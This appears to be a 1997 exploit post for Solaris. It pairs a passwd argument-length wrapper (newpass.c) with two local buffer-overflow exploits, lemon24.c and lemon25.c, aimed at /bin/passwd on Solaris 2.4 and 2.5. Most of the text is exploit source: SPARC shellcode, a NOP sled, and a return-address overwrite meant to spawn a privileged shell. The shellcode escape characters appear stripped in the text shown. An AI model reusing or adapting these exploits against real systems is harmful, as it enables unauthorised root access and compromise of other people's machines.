---------------------------- file newpass.c
-------------------------------
#include <stdio.h>
#include <syslog.h>

#define hidden_passwd "/bin/hpasswd" /*change here ...*/
#define MAX_LENGTH 32

void main(int argc, char *argv[])
{
int i;
char *args[10];

        if(argc < 10)
        {
                args[0]=hidden_passwd;
                for(i = 1; i<argc; i++)
                {
                        if(strlen(argv[i]) > MAX_LENGTH)
                        {
                                printf("You reached the maximum length in
argsn");
                                exit(0);
                        }
                        else args[i]=argv[i];
                }
                args[i]=(char *)0;
                execv(args[0],args);
        }
        else
        {
                printf("You reached the maximum number of args !n");
        }
}

---------------------------- end newpass.c
-----------------------------------

------------------------------ EXPLOITS ----------------------------------

------------------------------ lemon24.c --------------------------------
/*
Exploit for Solaris 2.4 ( it is a little and subtile different  beetwen
this
exploit and the prog for Solaris 2.5 - the overflow buffer is shifted
with 1 char )
With argv[1] you can modify the stack_offset (+-256).
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      600
#define EXTRA           600
#define STACK_OFFSET    1400
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"x2dx0bxd8x9axacx15xa1x6ex2fx0bxdaxdcxaex15xe3x68"
"x90x0bx80x0ex92x03xa0x0cx94x1ax80x0ax9cx03xa0x14"
"xecx3bxbfxecxc0x23xbfxf4xdcx23xbfxf8xc0x23xbfxfc"
"x82x10x20x3bx91xd0x20x08x90x1bxc0x0fx82x10x20x01"
"x91xd0x20x08"
;

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA + 8];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),dso=0;

  if(argc > 1) dso=atoi(argv[1]);

  long_p =(u_long *)  buf ;
    targ_addr = get_sp() - STACK_OFFSET - dso;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;


  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]n",
  targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  execl("/bin/passwd", "passwd", & buf[1],(char *) 0);
  perror("execl failed");
}

-------------------------------- end of lemon24.c
----------------------------

---------------------------------- lemon25.c
--------------------------------

/*
This is for Solaris 2.5.(1) !
With argv[1] you can modify the stack offset (+-500) if you have troubles
...
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      1100
#define EXTRA           1200
#define STACK_OFFSET    3800
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"x82x10x20xcaxa6x1cxc0x13x90x0cxc0x13x92x0cxc0x13"
"xa6x04xe0x01x91xd4xffxffx2dx0bxd8x9axacx15xa1x6e"
"x2fx0bxdcxdax90x0bx80x0ex92x03xa0x08x94x1ax80x0a"
"x9cx03xa0x10xecx3bxbfxf0xdcx23xbfxf8xc0x23xbfxfc"
"x82x10x20x3bx91xd4xffxff"
;

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),dso=0;

  if(argc > 1) dso=atoi(argv[1]);

  long_p =(u_long *)  buf;
    targ_addr = get_sp() - STACK_OFFSET - dso;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;


  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]n",
  targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  execl("/bin/passwd", "passwd", buf,(char *) 0);
  perror("execl failed");
}

----------------------------------- end of lemon25.c

// www.Syue.com [1997-07-12]